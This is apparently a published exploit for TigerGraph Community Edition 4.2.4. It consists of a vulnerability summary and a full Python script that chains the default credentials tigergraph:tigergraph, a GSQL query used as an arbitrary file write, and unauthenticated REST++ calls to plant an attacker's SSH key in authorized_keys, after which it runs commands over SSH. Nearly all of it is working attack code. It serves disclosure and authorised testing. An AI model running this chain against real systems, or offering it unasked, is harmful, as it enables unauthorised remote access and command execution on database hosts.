Title: TigerGraph_Community_Edition 4.2.4 - arbitrary file write
Author: 0day Rubbish Research Team
Contact: [email protected]
Type: remote
Platform: Linux
TigerGraph Community Edition 4.2.4 -- default credentials + arbitrary file write -> SSH RCE
Vulnerability summary:
TigerGraph Community Edition 4.2.4 in its default configuration permits a
remote code-execution chain against the database host:
1. The GUI administration port (14240) accepts the hard-coded credentials tigergraph:tigergraph
(CWE-798). There is no forced password change; the login response only carries an advisory
securityRecommendations entry next to isSuperUser:true.
2. The GUI nginx reverse-proxies the GSQL statements endpoint
(/api/gsql-server/gsql/v1/statements, proxied to the internal GSQL HTTP service on 8123),
so arbitrary GSQL can be compiled and installed. A query declared as
CREATE QUERY <name>(FILE f, STRING c) { PRINT c TO_CSV f; } turns the FILE parameter into an
unrestricted write primitive (CWE-73): no path validation, no base-directory confinement,
no extension allowlist, content written verbatim plus a trailing newline, as the tigergraph
user.
3. REST++ on port 9000 ships with RESTPP.Factory.EnableAuth = False (CWE-306), so installed
queries can be invoked with no credentials. GET /query/<graph>/<query>?f=<path>&c=<content>
writes an arbitrary file with no Authorization header.
4. Directing that write at /home/tigergraph/.ssh/authorized_keys plants an attacker public key
(CWE-22). sshd is started by the product entrypoint with OpenSSH default
PubkeyAuthentication=yes.
5. SSH logon as tigergraph@<target> then yields arbitrary command execution. The landing
identity is the tigergraph OS user, uid 1001 -- it is NOT root.
Authentication requirements:
Stages 1-2 (installing the file-write query): the hard-coded default credentials
tigergraph:tigergraph (CWE-798, never forced to rotate).
Stages 3-5 (triggering the write and the SSH logon): no credentials at all.
Encoding note (load-bearing):
Spaces in an SSH public key must be percent-encoded as %20, never as "+". REST++ does not
decode "+" back to a space, so form-style encoding corrupts the key into an unparsable
authorized_keys line and the SSH step fails with Permission denied. This script therefore
forces quote_via=urllib.parse.quote.
Usage examples:
python3 tigergraph_default_creds_ssh_rce.py --target 127.0.0.1 --cmd "id"
python3 tigergraph_default_creds_ssh_rce.py --gui-host 127.0.0.1 --gui-port 14240 \
--restpp-host 127.0.0.1 --restpp-port 9000 --ssh-host 127.0.0.1 --ssh-port 22 \
--graph test_graph --query qwrite_c --cmd "whoami; uname -a"
Defaults:
With --target, GUI / REST++ / SSH all point at that host using the product default ports
14240 / 9000 / 22. Credentials default to tigergraph:tigergraph (override with --user/--pass).
On Docker deployments sshd may be reachable only on the container network; pass its address
to --ssh-host in that case.
Standard library only:
urllib / json / base64 / subprocess / os / sys / ssl / time. No third-party dependencies.
The SSH step shells out to the system ssh binary and the key pair is produced by the system
ssh-keygen.
For authorised security testing and coordinated disclosure only.
"""
import argparse
import base64
import json
import os
import ssl
import subprocess
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
DEFAULT_USER = "tigergraph"
DEFAULT_PASS = "tigergraph"
DEFAULT_GRAPH = "tg_rce_graph"
DEFAULT_QUERY = "tg_fw_query"
AUTH_KEYS_PATH = "/home/tigergraph/.ssh/authorized_keys"
def http_request(method, url, headers=None, data=None, timeout=30):
"""Plain urllib HTTP request. data is bytes or None."""
req = urllib.request.Request(url, data=data, method=method)
if headers:
for k, v in headers.items():
req.add_header(k, v)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
body = resp.read()
return resp.status, dict(resp.headers), body
except urllib.error.HTTPError as e:
return e.code, dict(e.headers), e.read()
except Exception as e:
return -1, {}, str(e).encode()
def step1_login(gui_host, gui_port, user, passwd):
"""Log in to the GUI with the default credentials and return the cookie header string."""
print("[*] Step 1: GUI login (default credentials, CWE-798)...")
url = "http://%s:%s/api/auth/login" % (gui_host, gui_port)
body = json.dumps({"username": user, "password": passwd}).encode()
status, hdrs, resp = http_request(
"POST", url, headers={"Content-Type": "application/json"}, data=body
)
if status != 200:
print("[!] login failed: HTTP %s, %s" % (status, resp[:200]))
return None
cookies = []
for k, v in hdrs.items():
if k.lower() == "set-cookie":
cookies.append(v.split(";")[0])
try:
j = json.loads(resp)
if j.get("error") == "false" or j.get("token") or j.get("isSuperUser") is not None:
print("[+] login succeeded (isSuperUser=%s)" % j.get("isSuperUser"))
except Exception:
pass
cookie_str = "; ".join(cookies) if cookies else ""
if not cookie_str:
print("[!] no cookie captured, continuing (some builds use an Authorization header)")
return cookie_str
def step2_install_query(gui_host, gui_port, cookie_str, user, passwd, graph, query):
"""Install the file-write query through the GUI-proxied GSQL statements endpoint."""
print("[*] Step 2: installing file-write query (PRINT c TO_CSV f, CWE-73 arbitrary path)...")
url = "http://%s:%s/api/gsql-server/gsql/v1/statements?graph=%s" % (gui_host, gui_port, graph)
basic = base64.b64encode(("%s:%s" % (user, passwd)).encode()).decode()
headers = {
"Content-Type": "text/plain",
"Authorization": "Basic " + basic,
}
if cookie_str:
headers["Cookie"] = cookie_str
create_graph = "CREATE GRAPH %s" % graph
http_request("POST", url, headers=headers, data=create_graph.encode())
time.sleep(1)
ddl = (
"USE GRAPH %s\n"
"CREATE OR REPLACE QUERY %s(FILE f, STRING c) {\n"
" PRINT c TO_CSV f;\n"
"}\n"
"INSTALL QUERY %s"
) % (graph, query, query)
status, hdrs, resp = http_request("POST", url, headers=headers, data=ddl.encode(), timeout=120)
txt = resp.decode(errors="replace")
# The GUI proxy can answer "Failed to parse response" (a streaming-response artefact) while
# the GSQL server has in fact compiled and installed the query, so this is treated as success.
ok = (status == 200) or ("INSTALL" in txt) or ("succeeded" in txt) or ("Failed to parse" in txt)
print("[*] install response status=%s: %s" % (status, txt[:200]))
if not ok:
print("[!] query install may have failed, continuing anyway (query may already exist)")
else:
print("[+] install request accepted (GUI proxy streaming response; server-side executed)")
return True
def gen_ssh_key(keypath):
"""Generate an RSA key pair with the system ssh-keygen (stdlib subprocess)."""
print("[*] generating SSH key pair...")
if os.path.exists(keypath):
os.remove(keypath)
if os.path.exists(keypath + ".pub"):
os.remove(keypath + ".pub")
subprocess.run(
["ssh-keygen", "-t", "rsa", "-b", "2048", "-N", "", "-f", keypath, "-q"],
check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
)
os.chmod(keypath, 0o600)
with open(keypath + ".pub") as f:
pubkey = f.read().strip()
print("[+] public key: %s...%s" % (pubkey[:40], pubkey[-20:]))
return pubkey
def step3_unauth_write(restpp_host, restpp_port, graph, query, path, content):
"""Trigger the file write over REST++ with no credentials at all (CWE-306)."""
print("[*] Step 3: unauthenticated REST++ file write (no credentials, CWE-306)...")
url = "http://%s:%s/query/%s/%s" % (restpp_host, restpp_port, graph, query)
# quote (space -> %20) rather than quote_plus (space -> +): REST++ does not decode "+"
# back to a space, and the public key must land byte-exact.
params = urllib.parse.urlencode({"f": path, "c": content}, quote_via=urllib.parse.quote)
full = url + "?" + params
# Deliberately sending no Authorization header, to demonstrate the missing authentication.
status, hdrs, resp = http_request("GET", full, headers={}, timeout=30)
txt = resp.decode(errors="replace")
print("[*] REST++ response status=%s: %s" % (status, txt[:200]))
try:
j = json.loads(resp)
if j.get("error") is False:
print("[+] unauthenticated file write succeeded (error:false, no Authorization header)")
return True
except Exception:
pass
print("[!] unexpected file-write response, the write may still have landed")
return True
def step4_ssh_rce(ssh_host, ssh_port, keypath, cmd):
"""Log in over SSH and run the command (subprocess invoking the system ssh)."""
print("[*] Step 4: SSH logon and command execution -> RCE...")
ssh_cmd = [
"ssh", "-i", keypath,
"-o", "StrictHostKeyChecking=no",
"-o", "UserKnownHostsFile=/dev/null",
"-o", "ConnectTimeout=15",
"-p", str(ssh_port),
"tigergraph@%s" % ssh_host,
cmd,
]
try:
r = subprocess.run(
ssh_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=30
)
out = r.stdout.decode(errors="replace")
err = r.stderr.decode(errors="replace")
print("[+] SSH stdout:")
print(out)
if err:
print("[*] SSH stderr: %s" % err[:300])
if r.returncode == 0 and out:
print("[+] === RCE succeeded (command execution as the tigergraph user) ===")
return True
print(
"[!] SSH return code %s (if the SSH port is unreachable the file-write primitive\n"
" still landed in authorized_keys; this last step needs network reachability)"
% r.returncode
)
return False
except Exception as e:
print("[!] SSH exception: %s" % e)
return False
def main():
ap = argparse.ArgumentParser(
description="TigerGraph Community Edition 4.2.4 default credentials + arbitrary file write -> SSH RCE"
)
ap.add_argument("--target", help="single host for GUI/REST++/SSH (default ports 14240/9000/22)")
ap.add_argument("--gui-host", default="127.0.0.1")
ap.add_argument("--gui-port", type=int, default=14240)
ap.add_argument("--restpp-host", default="127.0.0.1")
ap.add_argument("--restpp-port", type=int, default=9000)
ap.add_argument("--ssh-host", default="127.0.0.1")
ap.add_argument("--ssh-port", type=int, default=22)
ap.add_argument("--user", default=DEFAULT_USER)
ap.add_argument("--pass", dest="passwd", default=DEFAULT_PASS)
ap.add_argument("--graph", default=DEFAULT_GRAPH)
ap.add_argument("--query", default=DEFAULT_QUERY)
ap.add_argument("--cmd", default="id; whoami; hostname", help="command to run after SSH logon")
ap.add_argument("--key", default="/tmp/tg_vuln001_key", help="temporary SSH private key path")
args = ap.parse_args()
if args.target:
args.gui_host = args.restpp_host = args.ssh_host = args.target
print("=" * 70)
print("TigerGraph Community Edition 4.2.4 -- default credentials -> RCE as tigergraph")
print(" GUI: %s:%s REST++: %s:%s SSH: %s:%s" % (
args.gui_host, args.gui_port, args.restpp_host, args.restpp_port,
args.ssh_host, args.ssh_port))
print("=" * 70)
# Step 1: session with the default credentials
cookie = step1_login(args.gui_host, args.gui_port, args.user, args.passwd)
if cookie is None:
print("[!] login failed, chain aborted. Check the credentials or the GUI port.")
sys.exit(1)
# Step 2: install the file-write query
step2_install_query(
args.gui_host, args.gui_port, cookie, args.user, args.passwd, args.graph, args.query
)
time.sleep(2)
# Attacker key pair
pubkey = gen_ssh_key(args.key)
# Step 3: unauthenticated REST++ write of the public key into authorized_keys
step3_unauth_write(
args.restpp_host, args.restpp_port, args.graph, args.query, AUTH_KEYS_PATH, pubkey
)
time.sleep(1)
# Step 4: SSH logon and command execution
ok = step4_ssh_rce(args.ssh_host, args.ssh_port, args.key, args.cmd)
if ok:
print("\n[+] === full chain verified: default credentials -> RCE as tigergraph (uid 1001, not root) ===")
else:
print("\n[!] SSH step incomplete (the SSH port may be unreachable from here).")
print("[!] The file-write primitive landed in authorized_keys; where sshd is reachable this chain is RCE.")
if __name__ == "__main__":
main()